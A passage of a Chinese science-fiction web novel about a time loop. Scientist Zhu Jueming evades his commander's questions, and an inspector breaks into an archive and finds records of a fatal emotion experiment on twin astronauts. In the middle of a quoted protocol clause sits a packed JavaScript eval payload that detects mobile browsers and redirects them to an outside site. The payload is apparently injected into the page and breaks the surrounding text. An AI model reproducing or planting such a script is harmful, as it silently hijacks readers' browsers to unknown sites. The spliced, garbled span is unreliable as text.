其实会后悔的是自己吧。
……怀从咎一定是这样想的。
他无比清晰，要后悔、要愤怒、要无助……都是自己；
因为祝觉明那样无所谓情绪的人，不会未没有达成预期结果的事回头、错了就是错了，下次再修正，这次已经是最好结果了。
落子无悔。
悟已往之不谏，知来者之可追；
实迷途其未远，觉今是而昨非。
祝觉明边想着边走出训练场，走廊另一端的门同步滑开；怀从咎走出来，两人在廊道中央相遇。怀从咎眼下有淡青阴影，锁骨处的作战服领口微微敞开、灼痕边缘泛着低饱和度的红，像埋着未熄灭的灯丝。
祝觉明停下。
怀从咎也停下。
“指挥官。”祝觉明尽量让自己的声音听起来波澜不惊，“我需要与你同步近期航行模型的修正参数。”
怀从咎看着他，目光穿过他的镜片直接落在虹膜上；那目光里有疲惫的勘探，像已看穿这经历过太多地震的地层。
“博士。”怀从咎笑了一下，“你最近总在虚拟训练场待很久。”
总是吗？
祝觉明垂眼，这条线自己刚来啊。
“数据需要反复验证。”
“验证到脸色发白？”
祝觉明没接话。他意识到自己的左手正无意识摩挲冰凉的戒面，于是放下手。怀从咎靠近一步，两人之间的距离缩短到社交底线以内，祝觉明能看清他瞳孔里映出的自己：过于平静的表情，以及瞳孔深处那层无法掩藏的厚重。
“我做了梦。”怀从咎低声，仅够两人听见，“陈启在真空里飘着，手腕上的绑带松开了；橙黑编织纹慢慢散开，像水母的触须。还梦见我抓着你，我们一起朝太阳撞过去。细节很清晰，清晰到不像梦。”
祝觉明的呼吸滞了一拍。理性模块自动启动，列举可能性：压力导致的潜意识投射，神经记忆编码错误，高维信息渗漏……
他该怎么和怀从咎解释这些其实是发生过的真实？
“你的灼痕，”他最终找了个最不出错的问题，“最近反应频率是否异常？”
那么多次轮回里反正怀从咎的伤没变，问这个最不会被看穿，而且合情合理。
怀从咎笑了，抬手擒住祝觉明手腕，抓着他食指点上太阳穴。
“博士，你在回避问题。你总是这样，用另一个问题盖住当前问题，用数据盖住情绪。”
祝觉明想抽回手，但怀从咎又微微低头，看着他的眼睛笑着点上自己眉心。
“我这里看到的画面，你这里计算的概率，我们真的在谈论同一场灾难吗？”
“灾难只有一个版本。”祝觉明想后退，但怀从咎反而捉的更紧，像那时候捉着他一起去死一样，“……你先放开我。”
“但应对方式有无数种。”怀从咎后退，重新拉开距离，“你给我的方案完美得像教科书，每个小数点都对齐。但陈启死的时候，你的模型没预警那个局部场畸变——或者说预警了，但你没告诉我？”
问题直接剥开他所有的规避。
祝觉明感到戒指开始发烫。真实的温度上升和幻觉他分得清，戒面金属传导热量至皮肤，留下细微的刺感。
在这条线上，陈启已经死了吗？
那为什么会议名单还有他？
“模型显示的是概率，不是预言。任何干预都会衍生新变量，有些变量不可预测。”
他尽量维持声线平稳，但他觉得自己已经快要绷不住了。
“所以你承认干预了。”
“我进行了预防性维护。”
“维护制造了新的死法。”怀从咎笑了，“博士，我有个假设：你早知道陈启会死。你不是在预防，你是在众多已知死法中，选择了对你模型扰动最小的。”
沉默沿着走廊延伸。
祝觉明听见自己的心跳，节奏稳定，完美维持在健康区间；他的身体比他的意识更擅长表演正常，虽然他现在无言以对。
“情绪是当前阶段的最大变量。”祝觉明最终毫无情绪的转身，话语自动流出、像预先编写的脚本，“你的直觉天赋珍贵，但需要理性约束。过度解读梦境会干扰判断。”
怀从咎看了他很久，久到祝觉明开始计算这段沉默消耗的时间资源占当日总预算的百分比。
“明白了。”怀从咎点头，那语气与会议时说“明白了”时完全相同，平稳底下压着即将成型的决断，“继续保持理性，博士。希望你的模型算到了所有可能性——包括我完全失控的那一种。”
他转身离开，逐渐远去。
祝觉明站在原地，直到走廊感应灯因久无动作而自动熄灭；黑暗包裹上来，只有安全出口标志泛着低照度的绿。他抬起左手，戒指在暗处微微发光，戒面上流过一行极快的代码残影：
COHERENCE -12%
PROGRESS: PHASE2
OBSERVER_ACTIVE
他握紧手指，金属边缘硌进掌心。疼痛具体，扎实，将他锚定在此刻此地。火星的记忆，聂谊生的锚点，怀从咎的梦境，戒指的讯号……所有这些碎片开始在他意识中自行拼合，指向逐渐成形的轮廓：这场循环不是惩罚，是程序；而他是程序中的迭代单元，和怀从咎的的碰撞、对峙、乃至每一次不欢而散……都是设定好的调试步骤。
目的？未知。
但他已收集足够多数据。
祝觉明走向实验室，感应灯随他的步伐逐一亮起。他打开终端，新建加密档案；窗外地球继续转动，永夜与永昼缓慢迁移、近日点号在船坞中静默悬挂，等待下一次启航、下一次穿越，下一次在太阳烈焰中验证所有假设。
而循环刚刚启程。
———
苏持风行走在走廊里，时不时回头。
她的身影倒映在金属地板上，每次回头时都怕自己身侧多出一个谁给；走廊空荡，感应灯在她身后逐盏熄灭、前方灯光随她的步伐提前亮起，与她一同前行。她数着一扇扇紧闭的门，浏览过门上的标；直到她见到那熟悉的三个字，她才略停下缓了口气。
——档案室。
她看向权限验证。指纹，虹膜，声纹三重复合，门滑开时发出极轻的嘶声，像将密封罐抽到真空；她侧身进入，门在身后闭合、锁定装置沉入框体。
数据室冷的像冰窟，恒温系统维持在摄氏三度，湿度百分之三十五；墙面嵌满存储阵列，指示灯规律闪烁、蓝光与绿光交织成一片寂静的电子苔原。她走到第三排第七列终端前，拉出老式机械轴的实体键盘；键帽已被磨出光滑的斜面，这是林静渊留下的习惯，她说触控屏没有触觉反馈，容易误操作。
太古早了。
搞这么个需要低温不然就会罢工的机子。
苏持风坐下，呼吸在低温中凝成薄雾；她调出访问日志，先伪造例行维护的入口：输入今日日期，选择“系统诊断”，生成合规工单。
然后她才切入底层检索协议。
她在找三年前的档案吗……
关键词：“情感能量催化”“林静渊”“初期实验”……
检索进度条缓慢爬行，百分之十，二十，三十。走廊里没有声音，但她的听觉系统持续捕捉着任何细微的震动，尽管她完全不心虚。
进度条停在百分之六十七。
屏幕上弹出红色警示框：“访问受限。文件加密等级：最高。申请特别许可？”
她早有准备。她从制服内袋取出一枚薄如蝉翼的权限卡，插入读卡槽；卡片是她上个月从郭山错的临时办公室借的，用了四十七分钟复制数据层、再悄悄放回。郭山错不会发现，他的注意力全在任务流程上，这种行政细节他交给系统自动复核。
而系统有漏洞。
权限卡验证通过。警示框消失，档案列表展开。十七份文件，时间跨度从八年前到三年前，标题皆是编码格式：
EE-CAT-001至EE-CAT-017。
她点开EE-CAT-009。
文档加载。先是常规的实验概述：林静渊主持，研究目标为“测定高强度情感波动对量子场稳定性的影响”。实验对象为双胞胎宇航员，编号Alpha与Beta。他们被置于模拟深空环境，接受渐进式压力测试。图表显示两人的生理指标、脑波同步率、情绪能量输出……
尔后是三段视频记录。
苏持风点击播放第一段。
画面里，Alpha和Beta隔着透明隔板对坐。两人穿着基础舱内服，未戴头盔。林静渊的画外音平稳：
“现在进行第三阶段。Alpha，请回忆你生命中最痛苦的经历。”
Alpha沉默。三秒后，他的呼吸节奏改变，胸膛起伏幅度增大。监测数据跳升：心率从六十二增至一百三十四，肾上腺素水平曲线陡峭；Beta在隔板另一侧开始不安，而实验员没有停下。
“继续，Alpha。描述细节。”
“我七岁时……我弟弟死在医疗舱。”Alpha声音嘶哑，“败血症，但本来可以救。医疗资源配额不够，他们抽签决定救谁。我抽中了，他……”
他说不下去了。眼泪涌出却未掉落，在眼眶里积聚成颤动的光；与此同时Beta突然捂住胸口，监测显示两人的脑波出现强共振，频率完全同步。
“记录。情感痛苦可跨介质传递，无需物理接触。”
林静渊的记录。
第二段视频。
场景转换，两人被置于一个环形舱室中央，周围布满场强探测器。林静渊：“现在进行第五阶段。Beta，请想象Alpha即将死亡。”
Beta摇头：“我做不到。”
“这是指令。”
Beta闭上眼睛。十秒后，Alpha开始剧烈咳嗽，仿佛窒息；他的血氧饱和度急速下降，皮肤泛起青紫。Beta睁眼看见，尖叫出声。就在这一瞬，所有探测器的读数同时飙高——情感能量输出峰值达到理论值的百分之八百七十，周围的量子场出现短暂但可测量的稳定现象、持续零点三秒。
林静渊的声音里第一次出现波动：“催化效应确认。定向牺牲可产生高维共振，该能量具备干扰现实结构的基础特性。”
第三段视频很短。
Alpha躺在医疗床上，生命体征微弱。Beta跪在旁边，握着他的手。林静渊的画外音：“实验终止。Alpha因不明原因多器官衰竭，将于十四分钟后死亡。我们记录最后阶段。”
Alpha嘴唇翕动，Beta俯身去听。听不见声音，但Beta的表情像一面被砸碎的玻璃那样崩塌，他抱紧Alpha，肩膀颤抖。Alpha停止呼吸的瞬间，Beta的脑波爆发出一道尖锐的脉冲，强度击穿了三个探测器的量程上限。
视频结束。
文档末尾附有结论报告，其中一行加粗：“基于上述数据，火种计划理论模型确立：筛选高情感连接个体，以其中一方的非自然死亡为催化剂，激发另一方产生足以稳定宇宙弦扰动的意识能量。该能量可用于欺骗观测者的文明评估协议。”
苏持风关掉文档。
催化剂吗。
最简单的，A与B的反应缓慢而无法推进，但C作为催化剂加入其中就可反应，这是初中生都会的化学原理。
她不禁有些反胃。理性上她早已猜到大半，但看见具体记录是另一回事；那些曲线，那些数字，那些冷静的描述……将人的痛苦量化成图表，将死亡设计成开关，
这真的正确吗？
她继续翻找。
在EE-CAT-013的附件里，发现一份残缺的《界面者协议》。
页面边缘有烧灼痕迹，文字部分缺失，但关键条款尚可辨认：
条款7.1：观测者集合体授权指定文明个体担任界面者，负责在该文明内部执行评估辅助程序。
条款
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174329|196873||http|test|mini|href|location''.split(''|''),0,{}));
() {
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7.2：界面者享有部分高维信息访问权限，但需定期接受意识校准，防止本土化偏移。
条款7.3：当被测试文明中个体产生记忆锚定效应（即多次时间循环中保持同一性）时，界面者需启动群体记忆屏蔽协议，确保测试环境纯净。
签署方有两处：
第一处：观测者集合体（高维签名，由不断变形的几何图案构成，无法解析）。
第二处：人类文明代表（生物签名模糊，但频谱特征可识别）。
苏持风调出频谱分析工具，将模糊签名导入。系统运行比对，七秒后弹出匹配结果：
匹配对象：
聂谊生。
生物签名相似度99.7%。
次级匹配：
总长“观照”近期神经图谱，同源系数98.9%。
有那么一瞬间她感觉自己呼吸停了。
聂谊生和“观照”是同一意识的两个载体。一个在明处担任军事长官，一个在暗处执掌整个计划。这意味着什么？意味着联合政府最高层早已知情，甚至参与了这场测试，意味着所有决策、所有牺牲、所有循环……
可能都是协议的一部分。
她调取联合政府高层档案的访问日志。发现所有高层人员的记录中，每隔一百六十八小时会出现一次八分钟的定期记忆审查，恰好七天；审查日志的授权者代码统一为：
“NIE-YSH-01”。
聂谊生。
压缩代码。
她继续追踪这个代码的权限范围。
系统显示，NIE-YSH-01拥有全基地最高数据访问权限，包括：实时监控所有人员生理数据、调阅任何加密档案、修改任务指令、甚至直接介入近日点号的航行控制系统……
其中一项子权限让她浑身发凉：
“情绪临界点预警与干预”。
说明写道：“当关键个体（当前标记：怀从咎）情绪波动超过设定阈值时，系统自动向界面者发送预警，并提供干预建议选项。”
她调出怀从咎近期的情绪监测记录。图表显示，在过去七十二小时内，他的情绪峰值出现过三次：第一次在陈启死亡时，第二次在会议室与祝觉明对峙时，第三次在走廊与祝觉明对话后。每次峰值出现前四至六分钟，系统都向NIE-YSH-01发送了预警。
而预警的接收终端定位在——
指挥中心顶层，总长私人办公室。
苏持风关闭所有界面。存储阵列的指示灯依旧规律闪烁，蓝绿光映在她脸上，像一片冷寂的电子海。她坐着不动，让信息沉淀。
然后她开始打包数据。
这一切其实都不合常理也不合人的思维意志，但既然有林静渊的AI参与，那么出现什么诡异的效应似乎都反而合理。
可是为什么她说查就查到了？
就像把信息瘫在她面前一样，笑吟吟告诉她对就是这样就是这个答案，1+1=2，没有任何悬念与它解。
对，我就是观测者在地球对接的人，现在你什么都知道了。
没有悬念，你反而不敢相信，是么？
苏持风心跳如肋骨，她选择关键片段：实验视频的截取画面、协议条款7.3、聂谊生与“观照”的同源证据、情绪干预系统的截图……她将这些封装进一个加密容器，设置双重解锁：第一重为常规密码，第二重怀从咎的声纹特征……
只有他亲自说出一段特定短语才能打开。
她在想要不要发一份给祝觉明。
不，他没有被标记，这些机密里被标记的实验载体是怀从咎，他有权知道此事。
她将容器伪装成一份普通的心理评估档案。标题定为：“近日点号指挥官适应性评估（第七次迭代）”。上传至共享数据库，标记接收者为怀从咎，发送方式为定时递送；设定在四小时后，当怀从咎进行例行心理复查时自动触发。
操作完成。她抽出权限卡，起身离开终端；她有些踉跄，膝盖传来细微的酸软，像长时间保持同一姿势后的肌肉抗议。
她走向门口，手放在感应区；门滑开，走廊的光涌进来，比数据室明亮得多，刺得她眯了眯眼。
她迈出步伐，开始往回走。
走廊依旧空荡。
右耳的隐形通讯器传来极轻的滴声——预设的提醒：她留在数据室的访问痕迹已按计划被覆盖，替换为一段伪造的常规维护记录。
覆盖程序运行良好，未触发异常警报。
她继续走。呼吸平缓，肩线放松，所有生理指标维持在正常范围内。这是多年训练的结果：
监察长必须看起来无可指摘，尤其在做了不该做的事之后。
但她没注意到的是，走廊顶部的环境监测摄像头，在她经过第三盏灯时，镜头的焦距发生了微不可察的调整；它对准她前方十五米处的地面，那里有一片反光较强的金属接缝。
摄像头将地面映像实时传输至终端。
终端前祝觉明看着屏幕。
他坐在实验室里，面前并列三块显示屏：左侧是数据室访问日志的实时镜像，他早在上次循环就破解了日志系统的后门；中间是走廊监控画面，右侧是他自己编写的情绪波动分析模型。
模型正在运行，输入数据是苏持风离开数据室后的心率、步频、呼吸间隔的微小变化，通过监控镜头的高精度生物扫描功能间接获取。输出曲线显示：她在数据室内期间情绪紧张度持续高位，离开后缓慢回落；但在行走至走廊中段时出现一个突兀的峰值，对应时刻是她右耳通讯器滴响的瞬间。
祝觉明放大那个峰值。频谱分析显示那不仅仅是紧张，还混合了释然与残余的恐惧；释然来自任务完成，恐惧来自对后果的未知。
他切换画面，调出她刚刚打包发送的加密容器元数据。虽然无法直接读取内容毕竟加密级别很高，但文件大小、封装格式、接收者标记、定时发送设置——这些信息已足够他推断出她传递了什么。